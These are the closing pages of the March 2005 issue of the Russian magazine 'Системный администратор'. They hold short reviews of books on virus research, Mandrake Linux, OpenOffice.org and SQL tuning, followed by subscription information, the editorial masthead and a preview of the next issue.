книжная полка Записки исследователя компьютерных вирусов Крис Касперски Очень любопытная книга от известного технического писателя. Касперски просто и доступно делится личным опытом и описывает собственные эксперименты в области компьютерной вирусологии. Книга разделена на 4 части. В первой подробно рассматриваются локальные вирусы, паразитирующие на Winodws/UNIX. Вторая часть полностью посвящена компьютерным червям. Методы борьбы с вирусами описаны в третей части книги. В четвертой части подробно раскрыта тема UNIX vs. NT с точки зрения безопасности. В приложении к книге рассмотрены приемы восстановления ОС в «боевых» условиях и приемы борьбы со спамом. Книга, по сути, является некой компиляцией ранее опубликованных статей в нашем журнале, что в некоторой степени очень удобно. Отличный выбор для тех, кто хочет погрузиться с головой в изучение и исследование вирусов. Книга рассчитана на достаточно подготовленного читателя, который не боится углубиться в изучение дизассемблерных листингов и дебрей ОС. Издательство «Питер», 2005 г. – 316 стр. ISBN 5-46900331-0.

Полное руководство пользователя Mandrake Linux Mandrakesoft Книга является переводом официального руководства пользователя. Если свое знакомство с Linux вы собираетесь начать с популярного дистрибутива Mandrake – эта книга для вас. Новички получат достаточные сведения для начала работы с Linux в разделе «Введение в Linux». Далее подробно описана пошаговая установка системы. Отдельный раздел в книге посвящен миграции из Winodws/MacOS. Описание и примеры работы с популярными программами, такими как Mozilla, OpenOffice.org, XMMS, MPlayer GIMP, позволят начинающим быстрее освоиться в новой для себя системе. Не обойден вниманием вопрос тонкой настройки и восстановления системы. Опытные пользователи найдут для себя много интересного в разделе «Глубины Linux». В качестве приложения к книге идет диск с Mandrake Linux 10.1 Linux Center Edition. Издательство «БХВ-Петербург», 2005 г. – 512 cтр. ISBN 5-94157-637-4. Издание подготовлено совместно с компанией ЛинуксЦентр.

№3, март 2005

OpenOffice.org открытый офис для Linux и Windows Виктор Костромин Это первая книга на русском языке, посвященная Open Office.org – популярному офисному пакету, в своем развитии шагающему семимильными шагами и все больше теснящему Microsoft Office. Книга послужит отличным помощником для человека, начинающего осваивать openoffice.org. Издание рассчитано на широкий круг читателей – от «новичков» до продвинутых пользователей. Книга построена в виде экспресс-курса. Достаточно подробно описана работа с текстовым процессором Writer, электронной таблицей Calc, графическим пакетом Draw, системой подготовки презентаций Impress, редактором формул Math. Также рассмотрены общие вопросы функционирования пакета. После прочтения данной книги читатель получит знания, необходимые для комфортный работы в OpenOfice.org. Эта книга – незаменимое приобретение для всех пользователей, желающих приступить к использованию OpenOfice.org вместо Microsoft Office. Вместе с книгой в комплекте идет диск с дистрибутивами Open Office.org для Windows, Linux и FreeBSD. Издательство «БХВ-Петербург», 2005 г. – 272 стр. ISBN 5-94157-266-2. Издание подготовлено совместно с компанией ЛинуксЦентр.

Настройка SQL Ден Тоу Данное издание является переводом книги «SQL Tuning» издательства O’Reilly, которое для многих стало синонимом качества содержания книг. Книга написана одним из самых известных и уважаемых специалистов в области баз данных. Основная тема книги – оптимизация SQL-запросов. На страницах издания вы найдете ответы на такие вопросы: как увеличить скорость выполнения запросов к базе данных, как наиболее оптимально построить запрос. В книге заложена фундаментальная информация, которую должны знать все программисты/разработчики баз данных. Автором используется математический диаграммный метод для получения оптимального или близкого к оптимальному плана выполнения для SQL-запроса. Большое количество примеров и заданий (для MS SQL, DB2, Oracle) помогут лучшим образом усвоить излагаемый материал. Издательство «Питер», 2004 г. – 333 стр. ISBN 5-94723959-0 (Ориг ISBN 0596005733).

Рубрику ведет Александр Байрак

93



подписка на II полугодие 2005 Российская Федерация ! Подписной индекс: 81655

Каталог агентства «Роспечать»

!

Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Агентство «ООО Урал-Пресс» (343) 375-62-74 Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru

!

! Подписной индекс: 87836

!

!

! Казахстан

!

! !

СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

!

– по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс» Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10) Узбекистан – по каталогу «Davriy nashrlar» российские издания через агентство по распространению печати «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик, 5/3, офис 33) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г.Тирасполь, ул.Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г.Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220

Подписные индексы:

81655 по каталогу агентства «Роспечать»

87836 по каталогу агентства «Пресса России»

№3, март 2005

95


СИСТЕМНЫЙ АДМИНИСТРАТОР №3(28), Март, 2005 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редакторы Андрей Бешков Валентин Синицын Алексей Барабанов РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 107045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 8200 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Apache как прокси-сервер Рассмотрим достаточно стандартную для небольшой организации связку: UNIX-шлюз для выхода в Интернет, внутренний веб-сервер (Apache), файловый сервер, почта, прокси-сервер... Оказывается, часть звеньев этой цепочки можно объединить друг с другом, сократив тем самым число обслуживаемых сервисов и даже получить при этом кое-какие дополнительные бонусы. В данной статье рассматривается процесс настройки Apache для работы в качестве кэширующего прокси-сервера, предоставляющего возможности динамического сжатия вебстраниц.

Автоматизация MS Windows, или AutoIt как мечта эникейщика Взгляд на проблему автоматизации работ в MS Windows со стороны системного администратора, не желающего становиться MSCE. Основная цель – в максимальном сокращении обслуживающих операций в среде MS Windows. В этом помогает нам инструментарий AutoIt. С помощью этой программы, которая является оператором-ботом, можно автоматизировать все массовые операции в среде MS Windows. В качестве большого комплексного примера приводится решение задачи автоматической установки MS Windows XP

Professional SP2 Rus вместе с требуемым прикладным программным обеспечением в практике аутсорсинга.

Базовая настройка маршрутизатора Cisco начального уровня Описание настройки может послужить отправной точкой для самостоятельного конфиг урирования домашнего/ офисного маршрутизатора UNIX или Windows администратором, ранее не работавшим с оборудованием Cisco.

Alt-N MDaemon – почтовая система для средних и крупных компаний Alt-N Mdaemon – почтовый сервер корпоративного уровня для ОС семейства Windows. Уже с первых версий данный продукт пользовался заслуженной популярностью среди администраторов Windows-систем, благодаря чему постоянно совершенствовался и дополнялся новыми возможностями. На сегодняшний день MDaemon – это SMTP/POP/ IMAP почтовый сервер с полным набором возможностей: защита от спама, безопасный доступ к почте через вебинтерфейс при помощи обычного браузера, удаленное администрирование, а также, при установленном MDaemon AntiVirus, защита вашей системы от почтовых вирусов.

Уважаемые читатели! Началась подписка на II полугодие 2005 года. Продолжается подписка на журнал на I полугодие 2005 года. Если вы не успели подписаться на все шесть выпусков первого полугодия, приобретайте недостающие номера через интернет-магазины

Доставка почтой в любую точку России.


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.